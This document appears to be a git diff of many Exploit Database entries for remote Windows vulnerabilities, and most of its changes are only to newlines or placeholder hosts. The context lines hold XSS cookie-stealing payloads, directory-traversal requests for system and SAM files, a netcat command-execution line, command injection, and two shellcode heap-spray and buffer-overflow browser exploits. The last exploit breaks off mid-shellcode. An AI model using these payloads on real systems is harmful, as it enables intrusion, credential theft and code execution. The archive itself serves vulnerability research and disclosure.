b/platforms/windows/remote/25421.txt @@ -17,4 +17,4 @@ Cache-Control: no-cache Referer: https://www.example.com/ Content-Length: 135 -stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata="><script>alert("Vulnerable")</script>&authntype=2&username=asdf&passcode=jkl%F6 \ No newline at end of file +stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata="><script>alert("Vulnerable")</script>&authntype=2&username=asdf&passcode=jkl%F6 \ No newline at end of file diff --git a/platforms/windows/remote/25486.txt b/platforms/windows/remote/25486.txt index b2c2e9bfb..567900ed5 100755 --- a/platforms/windows/remote/25486.txt +++ b/platforms/windows/remote/25486.txt @@ -6,4 +6,4 @@ This vulnerability allows a remote attacker to read files outside of the FTP doc This issue was reported to affect all versions of RaidenFTPD prior to 2.4.2241. -quote site urlget file://\..\\boot.ini \ No newline at end of file +quote site urlget file://\..\\boot.ini \ No newline at end of file diff --git a/platforms/windows/remote/25487.txt b/platforms/windows/remote/25487.txt index 9d0046413..be8e43d22 100755 --- a/platforms/windows/remote/25487.txt +++ b/platforms/windows/remote/25487.txt @@ -4,4 +4,4 @@ Yawcam is prone to a directory traversal vulnerability that could allow attacker GET ..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0 -GET \..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0 \ No newline at end of file +GET \..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/remote/25546.txt b/platforms/windows/remote/25546.txt index 9c629cef2..ea282c434 100755 --- a/platforms/windows/remote/25546.txt +++ b/platforms/windows/remote/25546.txt @@ -4,4 +4,4 @@ A remote cross-site scripting vulnerability affects BEA WebLogic Server and WebL An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://example.com:8001/console/actions/jndi/JndiFramesetAction?server='<script>alert(document.cookie);</script>mydomain%3AName%3Dmyserver%2CType%3DS \ No newline at end of file +http://example.com:8001/console/actions/jndi/JndiFramesetAction?server='<script>alert(document.cookie);</script>mydomain%3AName%3Dmyserver%2CType%3DS \ No newline at end of file diff --git a/platforms/windows/remote/25557.txt b/platforms/windows/remote/25557.txt index 9ad3390db..bd4211ccf 100755 --- a/platforms/windows/remote/25557.txt +++ b/platforms/windows/remote/25557.txt @@ -5,4 +5,4 @@ A remote command execution vulnerability affects HP OpenView Radia Management Po An unauthenticated, remote attacker may leverage this issue to execute arbitrary commands on an affected computer with Local System privileges on the Microsoft Windows platform and elevated privileges on UNIX-based platforms. bash$ printf "\x00\x00\x00../../windows/system32/whoami.exe\x00" | nc -v -xx.xx.xx.xx 1065 \ No newline at end of file +xx.xx.xx.xx 1065 \ No newline at end of file diff --git a/platforms/windows/remote/25571.txt b/platforms/windows/remote/25571.txt index 7abce402d..48eec7174 100755 --- a/platforms/windows/remote/25571.txt +++ b/platforms/windows/remote/25571.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/13456/info Video Cam Server is prone to a directory traversal vulnerability that could allow attackers to read files outside the Web root. http://www.example.com/..\..\..\..\..\..\..\..\..\..\..\windows\system.ini -GET /../../../../../../../../../../../windows/system.ini HTTP/1.1 \ No newline at end of file +GET /../../../../../../../../../../../windows/system.ini HTTP/1.1 \ No newline at end of file diff --git a/platforms/windows/remote/25572.txt b/platforms/windows/remote/25572.txt index b3d85a5c2..bb3e4bacb 100755 --- a/platforms/windows/remote/25572.txt +++ b/platforms/windows/remote/25572.txt @@ -4,4 +4,4 @@ Video Cam Server is prone to a path disclosure issue when invalid data is submit This issue can allow an attacker to access sensitive data that may be used to launch further attacks against a vulnerable computer. -http://www.example.com/%20 \ No newline at end of file +http://www.example.com/%20 \ No newline at end of file diff --git a/platforms/windows/remote/25573.txt b/platforms/windows/remote/25573.txt index 3c5987003..3a624bba9 100755 --- a/platforms/windows/remote/25573.txt +++ b/platforms/windows/remote/25573.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/13459/info Video Cam Server is prone to an authentication bypass vulnerability. This vulnerability exists because Video Cam Server fails to control access to the administrative interface. -http://www.example.com/admin.html \ No newline at end of file +http://www.example.com/admin.html \ No newline at end of file diff --git a/platforms/windows/remote/25597.txt b/platforms/windows/remote/25597.txt index 5fb15f1ad..d0865ccb8 100755 --- a/platforms/windows/remote/25597.txt +++ b/platforms/windows/remote/25597.txt @@ -26,4 +26,4 @@ else alert('File exists.'); } window.location.reload(false); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/windows/remote/25600.txt b/platforms/windows/remote/25600.txt index 9186abcb2..5afafa6f2 100755 --- a/platforms/windows/remote/25600.txt +++ b/platforms/windows/remote/25600.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/13495/info SimpleCam is prone to a directory traversal vulnerability that could allow attackers to read files outside the Web root. -http://example.com/..\..\..\..\..\..\..\..\..\..\..\..\windows\system.ini \ No newline at end of file +http://example.com/..\..\..\..\..\..\..\..\..\..\..\..\windows\system.ini \ No newline at end of file diff --git a/platforms/windows/remote/25621.txt b/platforms/windows/remote/25621.txt index eec4794f1..42fcae379 100755 --- a/platforms/windows/remote/25621.txt +++ b/platforms/windows/remote/25621.txt @@ -6,4 +6,4 @@ It is reported that an attacker can exploit this issue to detect the presence of A successful attack may aid in further attacks against the system or lead to a crash due to resource exhaustion. -http://www.example.com/mail?A=/../../../../../../../[file] \ No newline at end of file +http://www.example.com/mail?A=/../../../../../../../[file] \ No newline at end of file diff --git a/platforms/windows/remote/25643.txt b/platforms/windows/remote/25643.txt index 3869385fd..03999227f 100755 --- a/platforms/windows/remote/25643.txt +++ b/platforms/windows/remote/25643.txt @@ -8,4 +8,4 @@ GeoVision Digital Surveillance System versions 6.04 or 6.1 are reportedly vulner http://www.example.com/cam1.jpg http://www.example.com/cam2.jpg -http://www.example.com/cam[1-16].jpg \ No newline at end of file +http://www.example.com/cam[1-16].jpg \ No newline at end of file diff --git a/platforms/windows/remote/25646.txt b/platforms/windows/remote/25646.txt index 788a9feb2..e49440c46 100755 --- a/platforms/windows/remote/25646.txt +++ b/platforms/windows/remote/25646.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue reportedly affects myServer version 0.8 for Microsoft Windows; other versions may also be affected. -http://www.example.com/.../.../"onmouseover="[code]" \ No newline at end of file +http://www.example.com/.../.../"onmouseover="[code]" \ No newline at end of file diff --git a/platforms/windows/remote/25652.txt b/platforms/windows/remote/25652.txt index 3c913c95a..65b167b68 100755 --- a/platforms/windows/remote/25652.txt +++ b/platforms/windows/remote/25652.txt @@ -10,4 +10,4 @@ Map account to a drive: net use [drive]: \\[server]\[user]$ Change directory to target folder: -cd 'My files' \ No newline at end of file +cd 'My files' \ No newline at end of file diff --git a/platforms/windows/remote/25696.txt b/platforms/windows/remote/25696.txt index bf0ec9d5a..8e3dc1564 100755 --- a/platforms/windows/remote/25696.txt +++ b/platforms/windows/remote/25696.txt @@ -10,4 +10,4 @@ Host: www.example.com Accept: */* Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) -Referer: "></a><script>alert('XSS')</script> \ No newline at end of file +Referer: "></a><script>alert('XSS')</script> \ No newline at end of file diff --git a/platforms/windows/remote/25755.txt b/platforms/windows/remote/25755.txt index db0b3cbf2..10b376c1a 100755 --- a/platforms/windows/remote/25755.txt +++ b/platforms/windows/remote/25755.txt @@ -10,4 +10,4 @@ http://www.example.com:1272/..%2F..%2F..%2F..%2F..%2F../windows/repair/sam http://www.example.com:1272/.../.../.../.../.../.../.../.../.../boot.ini http://www.example.com:1272/../../ ../../../../../../../boot.ini http://www.example.com:1272/../../../../../../../../boot.ini -http://www.example.com:1272/../../../../boot.ini \ No newline at end of file +http://www.example.com:1272/../../../../boot.ini \ No newline at end of file diff --git a/platforms/windows/remote/25784.txt b/platforms/windows/remote/25784.txt index a9e7ae1b0..62c761bbc 100755 --- a/platforms/windows/remote/25784.txt +++ b/platforms/windows/remote/25784.txt @@ -45,4 +45,4 @@ ze:40px;"><b>YOU ARE VULNERABLE!!!</b><br><br><br>Regards,<br><br> Benjamin Tobias Franz<br>Germany</body> --btf-- -===>>> PoC - End <<<=== \ No newline at end of file +===>>> PoC - End <<<=== \ No newline at end of file diff --git a/platforms/windows/remote/25835.html b/platforms/windows/remote/25835.html index 015352ca6..7de09466d 100755 --- a/platforms/windows/remote/25835.html +++ b/platforms/windows/remote/25835.html @@ -158,4 +158,4 @@ the ROP is from an os dll: [msi.dll] (C:\WINDOWS\system32\msi.dll) 3.1.4001.5512 </script> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/windows/remote/25841.txt b/platforms/windows/remote/25841.txt index 9845ea576..8e5289131 100755 --- a/platforms/windows/remote/25841.txt +++ b/platforms/windows/remote/25841.txt @@ -6,4 +6,4 @@ Information obtained in this manner may be used by the attacker to launch furthe Yaws 1.55 and prior versions are affected. -http://www.example.com/dynamic.yaws%00 \ No newline at end of file +http://www.example.com/dynamic.yaws%00 \ No newline at end of file diff --git a/platforms/windows/remote/25933.txt b/platforms/windows/remote/25933.txt index 92c9b9c25..f87a5577b 100755 --- a/platforms/windows/remote/25933.txt +++ b/platforms/windows/remote/25933.txt @@ -4,4 +4,4 @@ SlimServe HTTP server is prone to directory traversal attacks due to improper sa This type of attack allows a malicious user to read files that exist outside of the Web server root directory. -http://www.example.com/.../.../ \ No newline at end of file +http://www.example.com/.../.../ \ No newline at end of file diff --git a/platforms/windows/remote/26032.html b/platforms/windows/remote/26032.html index 4c5f95d5e..1f561c06d 100755 --- a/platforms/windows/remote/26032.html +++ b/platforms/windows/remote/26032.html @@ -13,4 +13,4 @@ end if <form action="script>/<script>window.open(%27file://C:\\Program Files\\SPIDynamics\\WebInspect\\Working\\vulnerability.htm%27)</script>" method=get> Please login:<br> <input type=submit value="Login"><br> <input type=hidden name='hidden' value="Login"><br> </form> -</BODY></HTML> \ No newline at end of file +</BODY></HTML> \ No newline at end of file diff --git a/platforms/windows/remote/26035.txt b/platforms/windows/remote/26035.txt index 6467f64ea..44e1ac353 100755 --- a/platforms/windows/remote/26035.txt +++ b/platforms/windows/remote/26035.txt @@ -5,4 +5,4 @@ Advanced Guestbook is prone to an HTML injection vulnerability. This issue is du Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. Set the following registry setting to exploit this vulnerability: -[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Internet Settings/5.0/User Agent/] (Default)= "Code to inject" \ No newline at end of file +[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Internet Settings/5.0/User Agent/] (Default)= "Code to inject" \ No newline at end of file diff --git a/platforms/windows/remote/26044.txt b/platforms/windows/remote/26044.txt index 37677c9ed..f70dfec29 100755 --- a/platforms/windows/remote/26044.txt +++ b/platforms/windows/remote/26044.txt @@ -6,4 +6,4 @@ Failure to sanitize the filename and path may result in compromise of the file s The following email attachment filename example was provided: -'../../../../../file.exe' \ No newline at end of file +'../../../../../file.exe' \ No newline at end of file diff --git a/platforms/windows/remote/26151.txt b/platforms/windows/remote/26151.txt index 7e27203e1..45c63297e 100755 --- a/platforms/windows/remote/26151.txt +++ b/platforms/windows/remote/26151.txt @@ -190,4 +190,4 @@ a= a & a= a & "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar" JagEditParola.Jtext=a ---></script> \ No newline at end of file +--></script> \ No newline at end of file diff --git a/platforms/windows/remote/26196.txt b/platforms/windows/remote/26196.txt index 64f79a7a6..939f098bc 100755 --- a/platforms/windows/remote/26196.txt +++ b/platforms/windows/remote/26196.txt @@ -11,4 +11,4 @@ $ printf "GET /<script>alert(document.cookie)</script>GomoR HTTP/1.0\r\n\r\n" | 2. Login into the Administration console 3. Go to the menu 'Network configurations/servers/myserver/' 4. Click on 'View server log' -5. Search for the string GomoR and click on the BEA-id event. \ No newline at end of file +5. Search for the string GomoR and click on the BEA-id event. \ No newline at end of file diff --git a/platforms/windows/remote/26221.txt b/platforms/windows/remote/26221.txt index b2a09fa82..a94a8b8c1 100755 --- a/platforms/windows/remote/26221.txt +++ b/platforms/windows/remote/26221.txt @@ -5,4 +5,4 @@ Rediff Bol Instant Messenger is prone to an information disclosure vulnerability [script] var Obj = new ActiveXObject("Fetch.FetchContact.1"); alert(Obj.FullAddressBook(0,"","","")); -[/script] \ No newline at end of file +[/script] \ No newline at end of file diff --git a/platforms/windows/remote/26230.txt b/platforms/windows/remote/26230.txt index 88bef3909..69a988083 100755 --- a/platforms/windows/remote/26230.txt +++ b/platforms/windows/remote/26230.txt @@ -11,4 +11,4 @@ Microsoft IIS 5.1 is vulnerable to this issue. GET /www/test.as%CF%80 HTTP/1.1 Translate: f Host: www.example.com -Connection: Close \ No newline at end of file +Connection: Close \ No newline at end of file diff --git a/platforms/windows/remote/2637.c b/platforms/windows/remote/2637.c index 22e32a530..a39a5fbb0 100755 --- a/platforms/windows/remote/2637.c +++ b/platforms/windows/remote/2637.c @@ -13,9 +13,9 @@ * existance of a remote directory. Remote directories return a "Moved Permanently" * error, as opposed to a 404, as shown below. * - * localhost 0day # ./prdelka-vs-AEP-smartgate -s server -p 443 -f progra~1/v-one/smartgate/data -l sgusrdb.idx + * localhost 0day # ./prdelka-vs-AEP-smartgate -s www.target.com -p 443 -f progra~1/v-one/smartgate/data -l sgusrdb.idx * [ AEP/Smartgate arbitrary file download exploit - * [ Connected to server via (443/tcp) + * [ Connected to www.target.com via (443/tcp) * [ Displaying raw HTTP response details * HTTP/1.0 301 Moved Permanently * Date: Tue Nov 22 16:53:11 GMT+00:00 2005 @@ -50,9 +50,9 @@ * or no modification (char *http1). Tested against Smartgate V4.3B * * localhost 0day # gcc prdelka-vs-AEP-smartgate.c -o prdelka-vs-AEP-smartgate -lssl - * localhost 0day # ./prdelka-vs-AEP-smartgate -s server -p 443 -f winnt/repair/sam. -l sam + * localhost 0day # ./prdelka-vs-AEP-smartgate -s www.target.com -p 443 -f winnt/repair/sam. -l sam * [ AEP/Smartgate arbitrary file download exploit - * [ Connected to server via (443/tcp) + * [ Connected to www.target.com via (443/tcp) * [ Displaying raw HTTP response details * HTTP/1.0 200 OK * Date: Tue Nov 22 17:06:00 GMT+00:00 2005 diff --git a/platforms/windows/remote/26376.txt b/platforms/windows/remote/26376.txt index df563275a..c48108c53 100755 --- a/platforms/windows/remote/26376.txt +++ b/platforms/windows/remote/26376.txt @@ -8,4 +8,4 @@ An attacker can retrieve a directory listing of any Web accessible folders. Info An attacker can perform cross-site scripting attacks. This may be leveraged to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/%00/<script>alert('X.S.S')</script> \ No newline at end of file +http://www.example.com/%00/<script>alert('X.S.S')</script> \ No newline at end of file diff --git a/platforms/windows/remote/26424.txt b/platforms/windows/remote/26424.txt index 691a6297a..632391c52 100755 --- a/platforms/windows/remote/26424.txt +++ b/platforms/windows/remote/26424.txt @@ -7,4 +7,4 @@ This issue may facilitate unauthorized remote access to the application in the c https://www.%22;+echo+'hello'+%3E+test.txt -Passing this URI to a script that uses a vulnerable version of Snoopy will result in a file called 'test.txt' containing 'hello'. \ No newline at end of file +Passing this URI to a script that uses a vulnerable version of Snoopy will result in a file called 'test.txt' containing 'hello'. \ No newline at end of file diff --git a/platforms/windows/remote/26464.txt b/platforms/windows/remote/26464.txt index eacd8ce3e..732a7e777 100755 --- a/platforms/windows/remote/26464.txt +++ b/platforms/windows/remote/26464.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/15291/info IPSwitch WhatsUp Small Business 2004 is prone to a directory traversal vulnerability. Successful exploitation could allow a remote attacker to gain access to files outside the Web root. Sensitive information may be obtained in this manner. -http://[address of server]:8022/../../../../../../../../../../../boot.ini \ No newline at end of file +http://[address of server]:8022/../../../../../../../../../../../boot.ini \ No newline at end of file diff --git a/platforms/windows/remote/26491.txt b/platforms/windows/remote/26491.txt index 86d8fad09..1957e0297 100755 --- a/platforms/windows/remote/26491.txt +++ b/platforms/windows/remote/26491.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Antville version 1.1 is vulnerable; prior versions may also be affected. -http://www.example.com/antville/project/<script>alert('XSS');</script> \ No newline at end of file +http://www.example.com/antville/project/<script>alert('XSS');</script> \ No newline at end of file diff --git a/platforms/windows/remote/26774.txt b/platforms/windows/remote/26774.txt index 98686f969..9c859163e 100755 --- a/platforms/windows/remote/26774.txt +++ b/platforms/windows/remote/26774.txt @@ -4,4 +4,4 @@ LogiSphere is prone to multiple directory traversal vulnerabilities. These issue An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible. -http://www.example.com:8080/search?NS-query-pat=..\..\..\..\..\..\..\..\boot.ini \ No newline at end of file +http://www.example.com:8080/search?NS-query-pat=..\..\..\..\..\..\..\..\boot.ini \ No newline at end of file diff --git a/platforms/windows/remote/27073.txt b/platforms/windows/remote/27073.txt index 3bc512e88..ddfa72de7 100755 --- a/platforms/windows/remote/27073.txt +++ b/platforms/windows/remote/27073.txt @@ -8,4 +8,4 @@ This vulnerability may be remotely exploited due to project files originating fr Visual Studio 2005 is reportedly vulnerable to this issue; other versions may also be affected. -https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/27073.zip \ No newline at end of file +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/27073.zip \ No newline at end of file diff --git a/platforms/windows/remote/2753.c b/platforms/windows/remote/2753.c index f466f52fe..7d7ba9ffb 100755 --- a/platforms/windows/remote/2753.c +++ b/platforms/windows/remote/2753.c @@ -16,7 +16,7 @@ * : * : * :Usage: filename <exe_URL> [htmlfile] -* : filename.exe http://server/file.exe localhtml.htm +* : filename.exe http://site.com/file.exe localhtml.htm * *------------------------------------------------------------------------ */ diff --git a/platforms/windows/remote/28005.pl b/platforms/windows/remote/28005.pl index 6c155fdd5..ade263ac7 100755 --- a/platforms/windows/remote/28005.pl +++ b/platforms/windows/remote/28005.pl @@ -60,4 +60,4 @@ $smtp->quit() ; -print "$cont\n\ndone\n"; \ No newline at end of file +print "$cont\n\ndone\n"; \ No newline at end of file diff --git a/platforms/windows/remote/29490.txt b/platforms/windows/remote/29490.txt index 4772fb7d3..cdf1c2fe9 100755 --- a/platforms/windows/remote/29490.txt +++ b/platforms/windows/remote/29490.txt @@ -4,4 +4,4 @@ The AVM Fritz!DSL IGD Control Service is prone to a remote information-disclosur Exploiting this issue allows remote, unauthenticated attackers to retrieve the contents of arbitrary files from vulnerable computers with SYSTEM-level privileges. Information harvested may aid in further attacks. -http://www.example.com:49001/..%5C..%5C..%5Cwindows%5Csystem.ini \ No newline at end of file +http://www.example.com:49001/..%5C..%5C..%5Cwindows%5Csystem.ini \ No newline at end of file diff --git a/platforms/windows/remote/29575.txt b/platforms/windows/remote/29575.txt index d1efb7926..1b89f8cfa 100755 --- a/platforms/windows/remote/29575.txt +++ b/platforms/windows/remote/29575.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to access sensitive information that Version 0.0.7 is vulnerable; other versions may also be affected. -http://www.example.com/../../../../[file] \ No newline at end of file +http://www.example.com/../../../../[file] \ No newline at end of file diff --git a/platforms/windows/remote/29619.html b/platforms/windows/remote/29619.html index 098c5b344..a908357f0 100755 --- a/platforms/windows/remote/29619.html +++ b/platforms/windows/remote/29619.html @@ -54,4 +54,4 @@ onerror="alert('loading image error')"> - Script Tag Local File Access: -<script src="file:///C:/example.js"></script> \ No newline at end of file +<script src="file:///C:/example.js"></script> \ No newline at end of file diff --git a/platforms/windows/remote/29685.txt b/platforms/windows/remote/29685.txt index d56dad12b..1c2ca6229 100755 --- a/platforms/windows/remote/29685.txt +++ b/platforms/windows/remote/29685.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code would run in the context of the affected This issue affects SHOUTcast 1.9.7 for Microsoft Windows; other versions may also be vulnerable. -http://www.example.com/"/><script>alert(document.getElementsByTagName("PRE")[0].firstChild.data)</script> \ No newline at end of file +http://www.example.com/"/><script>alert(document.getElementsByTagName("PRE")[0].firstChild.data)</script> \ No newline at end of file diff --git a/platforms/windows/remote/29687.py b/platforms/windows/remote/29687.py index 05fbbcd18..6f6f5e36b 100755 --- a/platforms/windows/remote/29687.py +++ b/platforms/windows/remote/29687.py @@ -28,7 +28,7 @@ if i!=3: \t\t Remote Admin md5 Hash Exploit \t \tUsage:Exploit.py [targetsite] [path] - \tExample:Exploit.py server /guestbook/\n\n""" + \tExample:Exploit.py www.target.com /guestbook/\n\n""" else: diff --git a/platforms/windows/remote/29741.txt b/platforms/windows/remote/29741.txt index 7665d4ca0..3de9e4d4f 100755 --- a/platforms/windows/remote/29741.txt +++ b/platforms/windows/remote/29741.txt @@ -4,4 +4,4 @@ Microsoft Internet Explorer is prone to a cross-site scripting vulnerability bec An attacker can exploit this issue to spoof the contents of the Navigation canceled page, steal cookie-based authentication credentials, and obtain other sensitive information. Successful exploits may assist in phishing or other attacks that rely on content spoofing. -res://ieframe.dll/navcancl.htm#http://www.example.com/[script] \ No newline at end of file +res://ieframe.dll/navcancl.htm#http://www.example.com/[script] \ No newline at end of file diff --git a/platforms/windows/remote/29771.txt b/platforms/windows/remote/29771.txt index 73f0879e9..3a066f2f6 100755 --- a/platforms/windows/remote/29771.txt +++ b/platforms/windows/remote/29771.txt @@ -6,4 +6,4 @@ An attackers may exploit this issue to execute local files. The attacker must en The vendor reports this issue can also be exploited through use of UNC navigation to execute arbitrary remote code. This may facilitate a remote compromise of the affected computer. -Content-Type: text/html\r\n\r\n<a href=\"c:/windows/system32/winrm?\">Click here!</a> \ No newline at end of file +Content-Type: text/html\r\n\r\n<a href=\"c:/windows/system32/winrm?\">Click here!</a> \ No newline at end of file diff --git a/platforms/windows/remote/29814.txt b/platforms/windows/remote/29814.txt index d8cd4baff..560926b86 100755 --- a/platforms/windows/remote/29814.txt +++ b/platforms/windows/remote/29814.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Version 2.02 is vulnerable; other versions may also be affected. -http://www.example.com/lpext.dll?f=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/lpext.dll?f=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/windows/remote/29840.html b/platforms/windows/remote/29840.html index ae0d260fe..518bc3508 100755 --- a/platforms/windows/remote/29840.html +++ b/platforms/windows/remote/29840.html @@ -8,4 +8,4 @@ Exploiting this issue allows the attacker to execute arbitrary code in the conte Roxio CinePlayer 3.2 is vulnerable; other versions may also be affected. -<html> <head> <title>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</title> <br>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</br> <br>Advisory from secunia 22251</br> <br>By : Super-cristal</br> <br>Greetings: His0k4, snakespc.com</br> <br>Tested on Windows Xp Sp2 (en),with IE7</br> <object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='test'></object> <script language='javascript'> shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); nops=unescape('%u0c0c%u0c0c'); headersize =20; slackspace= headersize + shellcode.length; while( nops.length< slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<262144) block= block+ block+ fillblock; memory=new Array(); for( counter=0; counter<500; counter++) memory[ counter]= block+ shellcode; buffer=''; for( counter=0; counter<=200; counter++) buffer+=unescape('%0c%0c%0c%0c'); test.DiskType( buffer); </script> </head> </html> \ No newline at end of file +<html> <head> <title>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</title> <br>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</br> <br>Advisory from secunia 22251</br> <br>By : Super-cristal</br> <br>Greetings: His0k4, snakespc.com</br> <br>Tested on Windows Xp Sp2 (en),with IE7</br> <object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='test'></object> <script language='javascript'> shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); nops=unescape('%u0c0c%u0c0c'); headersize =20; slackspace= headersize + shellcode.length; while( nops.length< slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<262144) block= block+ block+ fillblock; memory=new Array(); for( counter=0; counter<500; counter++) memory[ counter]= block+ shellcode; buffer=''; for( counter=0; counter<=200; counter++) buffer+=unescape('%0c%0c%0c%0c'); test.DiskType( buffer); </script> </head> </html> \ No newline at end of file diff --git a/platforms/windows/remote/29843.txt b/platforms/windows/remote/29843.txt index 5d53d4d14..2e1cec74f 100755 --- a/platforms/windows/remote/29843.txt +++ b/platforms/windows/remote/29843.txt @@ -8,4 +8,4 @@ This issue affects webMethods Glue 6.5.1; other versions may also be vulnerable. http://www.example.com:8080/console?resource=../../../boot.ini http://www.example.com:8080/console?resource=\boot.ini -http://www.example.com:8080/console?resource=c:\boot.ini \ No newline at end of file +http://www.example.com:8080/console?resource=c:\boot.ini \ No newline at end of file diff --git a/platforms/windows/remote/29897.txt b/platforms/windows/remote/29897.txt index 09d898690..51159230c 100755 --- a/platforms/windows/remote/29897.txt +++ b/platforms/windows/remote/29897.txt @@ -9,4 +9,4 @@ WebSpeed 3.1a, 3.1d, and 3.1e are vulnerable; other versions may also be affecte NOTE: Further reports suggest that this issue affects only the 'Development Mode' of the application. This mode is not intended to be used in production systems. This issue is also present when the 'tty' directory is installed. http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/webutil/_cpyfile.p?options=save,editor&tempFile=dummy.tmp&fil -eName=C:/root.txt&action=last&section=1&txt0=Test \ No newline at end of file +eName=C:/root.txt&action=last&section=1&txt0=Test \ No newline at end of file diff --git a/platforms/windows/remote/29952.html b/platforms/windows/remote/29952.html index 93626091c..47a6687ef 100755 --- a/platforms/windows/remote/29952.html +++ b/platforms/windows/remote/29952.html @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary code in the context of a Digital Music Mentor 2.6.0.4 is vulnerable; other versions may also be affected. -<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/06</b></p></span> <pre> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------------------------------- Sienzo Digital Music Mentor (DMM) 2.6.0.4 (DSKernel2.dll) multiple method local Stack Overflow Exploit url: http://www.sienzo.com/ price: $59.95 author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org Tested on Windows XP Professional SP2 full patched <b>DSKernel2.dll v. 1.0.0.57 is vulnerable to a stack overflow that allows arbitrary code execution.</b> <font color = red><b>This exploits just open calc.exe</b></font> Time Table: 2007/30/04 -> Bug discovered 2007/30/04 -> Vendor notified by mail 2007/02/05 -> Vendor asks for more details 2007/02/05 -> Copy of exploits send to Vendor 2007/03/05 -> No more responses from Vendor 2007/06/05 -> Public disclosure on MoAxB -------------------------------------------------------------------------------------------------------- <object classid='clsid:E2B7DDA9-38C5-11D5-91F6-00104BDB8FF9' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the LockModules test" style="WIDTH: 350px; HEIGHT: 25px" size=20> <input language=VBScript onclick=tryMe2() type=button value="Click here to start the UnlockModule test" style="WIDTH: 350px; HEIGHT: 25px" size=20> <script language = 'vbscript'> Sub tryMe buff = String(263,"A") get_EIP = unescape("%EB%AA%D7%77") '0x77D7AAEB call esp (from user32.dll) nop = unescape("%90%90%90%90%90") shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _ unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _ unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _ unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _ unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _ unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _ unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _ 